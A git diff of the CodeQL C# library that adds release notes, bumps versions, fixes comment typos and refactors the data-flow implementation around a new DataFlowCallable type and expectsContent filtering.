diff --git a/csharp/ql/lib/change-notes/released/0.2.0.md b/csharp/ql/lib/change-notes/released/0.2.0.md
new file mode 100644
index 00000000000..7ccf56ddd47
--- /dev/null
+++ b/csharp/ql/lib/change-notes/released/0.2.0.md
@@ -0,0 +1,5 @@
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
diff --git a/csharp/ql/lib/change-notes/released/0.2.1.md b/csharp/ql/lib/change-notes/released/0.2.1.md
new file mode 100644
index 00000000000..c260de2a9ee
--- /dev/null
+++ b/csharp/ql/lib/change-notes/released/0.2.1.md
@@ -0,0 +1 @@
+## 0.2.1
diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml
index 2e08f40f6aa..df29a726bcc 100644
--- a/csharp/ql/lib/codeql-pack.release.yml
+++ b/csharp/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.2.1
diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml
index 4eb02c5a592..2b91ac08704 100644
--- a/csharp/ql/lib/qlpack.yml
+++ b/csharp/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-all
-version: 0.1.1-dev
+version: 0.2.2-dev
 groups: csharp
 dbscheme: semmlecode.csharp.dbscheme
 extractor: csharp
diff --git a/csharp/ql/lib/semmle/code/cil/Instructions.qll b/csharp/ql/lib/semmle/code/cil/Instructions.qll
index 370a91d8343..91bc1f37ea6 100644
--- a/csharp/ql/lib/semmle/code/cil/Instructions.qll
+++ b/csharp/ql/lib/semmle/code/cil/Instructions.qll
@@ -491,7 +491,7 @@ module Opcodes {
 
     override Callable getTarget() { none() }
 
-    /** Gets the function pointer type targetted by this instruction. */
+    /** Gets the function pointer type targeted by this instruction. */
     FunctionPointerType getTargetType() { cil_access(this, result) }
 
     // The number of items popped/pushed from the stack depends on the target of
diff --git a/csharp/ql/lib/semmle/code/csharp/Member.qll b/csharp/ql/lib/semmle/code/csharp/Member.qll
index 01a19ff87e0..ad314217024 100644
--- a/csharp/ql/lib/semmle/code/csharp/Member.qll
+++ b/csharp/ql/lib/semmle/code/csharp/Member.qll
@@ -117,7 +117,7 @@ class Modifiable extends Declaration, @modifiable {
    * Note that explicit interface implementations are also considered effectively
    * `private` if the implemented interface is itself effectively `private`. Finally,
    * `private protected` members are not considered effectively `private`, because
-   * they can be overriden within the declaring assembly.
+   * they can be overridden within the declaring assembly.
    */
   predicate isEffectivelyPrivate() {
     this.isReallyPrivate() or
@@ -143,7 +143,7 @@ class Modifiable extends Declaration, @modifiable {
    * considered. Explicit interface implementations are also considered effectively
    * `internal` if the implemented interface is itself effectively `internal`. Finally,
    * `internal protected` members are not considered effectively `internal`, because
-   * they can be overriden outside the declaring assembly.
+   * they can be overridden outside the declaring assembly.
    */
   predicate isEffectivelyInternal() {
     this.isReallyInternal() or
diff --git a/csharp/ql/lib/semmle/code/csharp/PrintAst.qll b/csharp/ql/lib/semmle/code/csharp/PrintAst.qll
index a3d36fba69d..d179da2e194 100644
--- a/csharp/ql/lib/semmle/code/csharp/PrintAst.qll
+++ b/csharp/ql/lib/semmle/code/csharp/PrintAst.qll
@@ -265,7 +265,7 @@ class TypeMentionNode extends PrintAstNode, TTypeMentionNode {
   final TypeMention getTypeMention() { result = typeMention }
 
   /**
-   * Gets the `Element` targetted by the `TypeMention`.
+   * Gets the `Element` targeted by the `TypeMention`.
    */
   final Element getTarget() { result = typeMention.getTarget() }
 
diff --git a/csharp/ql/lib/semmle/code/csharp/Unification.qll b/csharp/ql/lib/semmle/code/csharp/Unification.qll
index ae2ee5a2e49..4df258c1d00 100644
--- a/csharp/ql/lib/semmle/code/csharp/Unification.qll
+++ b/csharp/ql/lib/semmle/code/csharp/Unification.qll
@@ -672,7 +672,7 @@ module Unification {
    *    `ConstrainedTypeParameter::unifiable()` can be used.
    *
    *
-   * For performance reasons, type paramater constraints inside `t1` and `t2` are
+   * For performance reasons, type parameter constraints inside `t1` and `t2` are
    * *not* taken into account, and there is also no guarantee that the same type
    * parameter can be substituted with two different terms. For example, in
    *
diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraphImplShared.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraphImplShared.qll
index e7ae2e489a2..47fcd24883c 100644
--- a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraphImplShared.qll
+++ b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraphImplShared.qll
@@ -744,7 +744,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `ControlFlowGraphImplSpecific.qll` in order to
-   * force a stage-dependency on the `ControlFlowGraphImplShared.qll` stage and therby
+   * force a stage-dependency on the `ControlFlowGraphImplShared.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/ExternalFlow.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/ExternalFlow.qll
index 34578833a06..b2390c7b14e 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/ExternalFlow.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/ExternalFlow.qll
@@ -515,9 +515,7 @@ Element interpretElement(
 /**
  * Holds if `c` has a `generated` summary.
  */
-predicate hasSummary(DataFlowCallable c, boolean generated) {
-  summaryElement(c, _, _, _, generated)
-}
+predicate hasSummary(Callable c, boolean generated) { summaryElement(c, _, _, _, generated) }
 
 cached
 private module Cached {
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/FlowSummary.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/FlowSummary.qll
index 08fa5bbc12f..1c3f216edf2 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/FlowSummary.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/FlowSummary.qll
@@ -1,6 +1,7 @@
 /** Provides classes and predicates for defining flow summaries. */
 
 import csharp
+private import dotnet
 private import internal.FlowSummaryImpl as Impl
 private import internal.DataFlowDispatch as DataFlowDispatch
 
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/AccessPathSyntax.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/AccessPathSyntax.qll
index 3d40e04b815..076e12f2671 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/AccessPathSyntax.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/AccessPathSyntax.qll
@@ -167,9 +167,16 @@ class AccessPathToken extends string {
   /** Gets the `n`th argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getArgument(int n) { result = this.getArgumentList().splitAt(",", n).trim() }
 
+  /** Gets the `n`th argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  pragma[nomagic]
+  string getArgument(string name, int n) { name = this.getName() and result = this.getArgument(n) }
+
   /** Gets an argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getAnArgument() { result = this.getArgument(_) }
 
+  /** Gets an argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  string getAnArgument(string name) { result = this.getArgument(name, _) }
+
   /** Gets the number of arguments to this token, such as 2 for `Member[x,y]` or zero for `ReturnValue`. */
   int getNumArgument() { result = count(int n | exists(this.getArgument(n))) }
 }
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll
index 2f04ba350f4..cba04fe096b 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll
@@ -12,14 +12,6 @@ private import semmle.code.csharp.dispatch.RuntimeCallable
 private import semmle.code.csharp.frameworks.system.Collections
 private import semmle.code.csharp.frameworks.system.collections.Generic
 
-private predicate summarizedCallable(DataFlowCallable c) {
-  c instanceof FlowSummary::SummarizedCallable
-  or
-  FlowSummaryImpl::Private::summaryReturnNode(_, TJumpReturnKind(c, _))
-  or
-  c = interpretElement(_, _, _, _, _, _)
-}
-
 /**
  * Gets a source declaration of callable `c` that has a body or has
  * a flow summary.
@@ -29,9 +21,6 @@ private predicate summarizedCallable(DataFlowCallable c) {
  */
 DotNet::Callable getCallableForDataFlow(DotNet::Callable c) {
   exists(DotNet::Callable unboundDecl | unboundDecl = c.getUnboundDeclaration() |
-    summarizedCallable(unboundDecl) and
-    result = unboundDecl
-    or
     result.hasBody() and
     if unboundDecl.getFile().fromSource()
     then
@@ -81,17 +70,27 @@ newtype TReturnKind =
       v = def.getSourceVariable().getAssignable()
     )
   } or
-  TJumpReturnKind(DataFlowCallable target, ReturnKind rk) {
-    rk instanceof NormalReturnKind and
+  TJumpReturnKind(Callable target, ReturnKind rk) {
+    target.isUnboundDeclaration() and
     (
-      target instanceof Constructor or
-      not target.getReturnType() instanceof VoidType
+      rk instanceof NormalReturnKind and
+      (
+        target instanceof Constructor or
+        not target.getReturnType() instanceof VoidType
+      )
+      or
+      exists(target.getParameter(rk.(OutRefReturnKind).getPosition()))
     )
-    or
-    exists(target.getParameter(rk.(OutRefReturnKind).getPosition()))
   }
 
 private module Cached {
+  cached
+  newtype TDataFlowCallable =
+    TDotNetCallable(DotNet::Callable c) {
+      c.isUnboundDeclaration() and not c instanceof FlowSummary::SummarizedCallable
+    } or
+    TSummarizedCallable(FlowSummary::SummarizedCallable c)
+
   cached
   newtype TDataFlowCall =
     TNonDelegateCall(ControlFlow::Nodes::ElementNode cfn, DispatchCall dc) {
@@ -108,7 +107,7 @@ private module Cached {
       // No need to include calls that are compiled from source
       not call.getImplementation().getMethod().compiledFromSource()
     } or
-    TSummaryCall(FlowSummary::SummarizedCallable c, Node receiver) {
+    TSummaryCall(FlowSummaryImpl::Public::SummarizedCallable c, Node receiver) {
       FlowSummaryImpl::Private::summaryCallbackRange(c, receiver)
     }
 
@@ -144,7 +143,7 @@ private module DispatchImpl {
    * call is a delegate call, or if the qualifier accesses a parameter of
    * the enclosing callable `c` (including the implicit `this` parameter).
    */
-  predicate mayBenefitFromCallContext(NonDelegateDataFlowCall call, Callable c) {
+  predicate mayBenefitFromCallContext(NonDelegateDataFlowCall call, DataFlowCallable c) {
     c = call.getEnclosingCallable() and
     call.getDispatchCall().mayBenefitFromCallContext()
   }
@@ -154,7 +153,7 @@ private module DispatchImpl {
    * restricted to those `call`s for which a context might make a difference.
    */
   DataFlowCallable viableImplInCallContext(NonDelegateDataFlowCall call, DataFlowCall ctx) {
-    result =
+    result.getUnderlyingCallable() =
       call.getDispatchCall()
           .getADynamicTargetInCallContext(ctx.(NonDelegateDataFlowCall).getDispatchCall())
           .getUnboundDeclaration()
@@ -233,13 +232,13 @@ class ImplicitCapturedReturnKind extends ReturnKind, TImplicitCapturedReturnKind
  * one API entry point and out of another.
  */
 class JumpReturnKind extends ReturnKind, TJumpReturnKind {
-  private DataFlowCallable target;
+  private Callable target;
   private ReturnKind rk;
 
   JumpReturnKind() { this = TJumpReturnKind(target, rk) }
 
   /** Gets the target of the jump. */
-  DataFlowCallable getTarget() { result = target }
+  Callable getTarget() { result = target }
 
   /** Gets the return kind of the target. */
   ReturnKind getTargetReturnKind() { result = rk }
@@ -247,8 +246,24 @@ class JumpReturnKind extends ReturnKind, TJumpReturnKind {
   override string toString() { result = "jump to " + target }
 }
 
-class DataFlowCallable extends DotNet::Callable {
-  DataFlowCallable() { this.isUnboundDeclaration() }
+/** A callable used for data flow. */
+class DataFlowCallable extends TDataFlowCallable {
+  /** Get the underlying source code callable, if any. */
+  DotNet::Callable asCallable() { this = TDotNetCallable(result) }
+
+  /** Get the underlying summarized callable, if any. */
+  FlowSummary::SummarizedCallable asSummarizedCallable() { this = TSummarizedCallable(result) }
+
+  /** Get the underlying callable. */
+  DotNet::Callable getUnderlyingCallable() {
+    result = this.asCallable() or result = this.asSummarizedCallable()
+  }
+
+  /** Gets a textual representation of this dataflow callable. */
+  string toString() { result = this.getUnderlyingCallable().toString() }
+
+  /** Get the location of this dataflow callable. */
+  Location getLocation() { result = this.getUnderlyingCallable().getLocation() }
 }
 
 /** A call relevant for data flow. */
@@ -306,18 +321,32 @@ class NonDelegateDataFlowCall extends DataFlowCall, TNonDelegateCall {
   DispatchCall getDispatchCall() { result = dc }
 
   override DataFlowCallable getARuntimeTarget() {
-    result = getCallableForDataFlow(dc.getADynamicTarget())
+    result.asCallable() = getCallableForDataFlow(dc.getADynamicTarget())
     or
-    result = dc.getAStaticTarget().getUnboundDeclaration() and
-    summarizedCallable(result) and
-    not result instanceof RuntimeCallable
+    exists(Callable c, boolean static |
+      result.asSummarizedCallable() = c and
+      c = this.getATarget(static)
+    |
+      static = false
+      or
+      static = true and not c instanceof RuntimeCallable
+    )
+  }
+
+  /** Gets a static or dynamic target of this call. */
+  Callable getATarget(boolean static) {
+    result = dc.getADynamicTarget().getUnboundDeclaration() and static = false
+    or
+    result = dc.getAStaticTarget().getUnboundDeclaration() and static = true
   }
 
   override ControlFlow::Nodes::ElementNode getControlFlowNode() { result = cfn }
 
   override DataFlow::ExprNode getNode() { result.getControlFlowNode() = cfn }
 
-  override DataFlowCallable getEnclosingCallable() { result = cfn.getEnclosingCallable() }
+  override DataFlowCallable getEnclosingCallable() {
+    result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+  }
 
   override string toString() { result = cfn.toString() }
 
@@ -345,7 +374,9 @@ class ExplicitDelegateLikeDataFlowCall extends DelegateDataFlowCall, TExplicitDe
 
   override DataFlow::ExprNode getNode() { result.getControlFlowNode() = cfn }
 
-  override DataFlowCallable getEnclosingCallable() { result = cfn.getEnclosingCallable() }
+  override DataFlowCallable getEnclosingCallable() {
+    result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+  }
 
   override string toString() { result = cfn.toString() }
 
@@ -363,13 +394,15 @@ class TransitiveCapturedDataFlowCall extends DataFlowCall, TTransitiveCapturedCa
 
   TransitiveCapturedDataFlowCall() { this = TTransitiveCapturedCall(cfn, target) }
 
-  override DataFlowCallable getARuntimeTarget() { result = target }
+  override DataFlowCallable getARuntimeTarget() { result.getUnderlyingCallable() = target }
 
   override ControlFlow::Nodes::ElementNode getControlFlowNode() { result = cfn }
 
   override DataFlow::ExprNode getNode() { none() }
 
-  override DataFlowCallable getEnclosingCallable() { result = cfn.getEnclosingCallable() }
+  override DataFlowCallable getEnclosingCallable() {
+    result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+  }
 
   override string toString() { result = "[transitive] " + cfn.toString() }
 
@@ -384,14 +417,16 @@ class CilDataFlowCall extends DataFlowCall, TCilCall {
 
   override DataFlowCallable getARuntimeTarget() {
     // There is no dispatch library for CIL, so do not consider overrides for now
-    result = getCallableForDataFlow(call.getTarget())
+    result.getUnderlyingCallable() = getCallableForDataFlow(call.getTarget())
   }
 
   override ControlFlow::Nodes::ElementNode getControlFlowNode() { none() }
 
   override DataFlow::ExprNode getNode() { result.getExpr() = call }
 
-  override DataFlowCallable getEnclosingCallable() { result = call.getEnclosingCallable() }
+  override DataFlowCallable getEnclosingCallable() {
+    result.getUnderlyingCallable() = call.getEnclosingCallable()
+  }
 
   override string toString() { result = call.toString() }
 
@@ -406,7 +441,7 @@ class CilDataFlowCall extends DataFlowCall, TCilCall {
  * the method `Select`.
  */
 class SummaryCall extends DelegateDataFlowCall, TSummaryCall {
-  private FlowSummary::SummarizedCallable c;
+  private FlowSummaryImpl::Public::SummarizedCallable c;
   private Node receiver;
 
   SummaryCall() { this = TSummaryCall(c, receiver) }
@@ -422,7 +457,7 @@ class SummaryCall extends DelegateDataFlowCall, TSummaryCall {
 
   override DataFlow::Node getNode() { none() }
 
-  override DataFlowCallable getEnclosingCallable() { result = c }
+  override DataFlowCallable getEnclosingCallable() { result.asSummarizedCallable() = c }
 
   override string toString() { result = "[summary] call to " + receiver + " in " + c }
 
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
